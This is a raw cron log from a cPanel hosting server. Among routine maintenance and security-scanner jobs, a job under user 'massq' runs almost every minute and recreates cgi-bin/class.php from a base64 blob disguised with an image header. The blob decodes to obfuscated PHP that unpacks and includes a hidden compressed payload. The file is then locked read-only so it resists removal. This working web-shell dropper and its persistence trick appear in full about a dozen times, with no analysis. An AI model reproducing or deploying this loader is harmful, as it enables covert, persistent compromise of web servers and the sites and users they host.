Aug 31 04:14:01 server CROND[21190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:15:01 server CROND[21742]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 04:15:01 server CROND[21743]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 04:15:01 server CROND[21744]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 31 04:15:01 server CROND[21745]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 04:15:01 server CROND[21748]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 04:15:01 server CROND[21746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:15:01 server CROND[21757]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:15:01 server CROND[21758]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 04:15:01 server CROND[21756]: (root) CMD (/usr/local/cpanel/bin/process_ssl_reissue)
Aug 31 04:15:01 server CROND[21759]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:16:01 server CROND[22754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:16:01 server CROND[22755]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:16:01 server CROND[22756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:17:01 server CROND[23300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:17:01 server CROND[23301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:17:01 server CROND[23302]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:17:01 server CROND[23303]: (root) CMD (   /usr/libexec/report-command-error /opt/imunify360/venv/share/imunify360/scripts/update_components_versions.py > /dev/null 2>&1)
Aug 31 04:18:01 server CROND[23755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:18:01 server CROND[23756]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:18:01 server CROND[23757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:19:01 server CROND[24309]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:19:01 server CROND[24310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:19:01 server CROND[24311]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:20:01 server CROND[24798]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 04:20:01 server CROND[24799]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 04:20:01 server CROND[24810]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 04:20:01 server CROND[24811]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:20:01 server CROND[24813]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 04:20:01 server CROND[24815]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:20:01 server CROND[24819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:20:01 server CROND[24826]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 04:20:01 server CROND[24824]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 04:21:01 server CROND[25666]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:21:01 server CROND[25667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:21:01 server CROND[25668]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:22:01 server CROND[26061]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:22:01 server CROND[26062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:22:01 server CROND[26063]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:23:01 server CROND[26467]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:23:01 server CROND[26468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:23:01 server CROND[26469]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:24:01 server CROND[26848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:24:01 server CROND[26851]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:24:01 server CROND[26849]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:25:01 server CROND[27236]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 04:25:01 server CROND[27237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:25:01 server CROND[27243]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 04:25:01 server CROND[27241]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:25:01 server CROND[27242]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
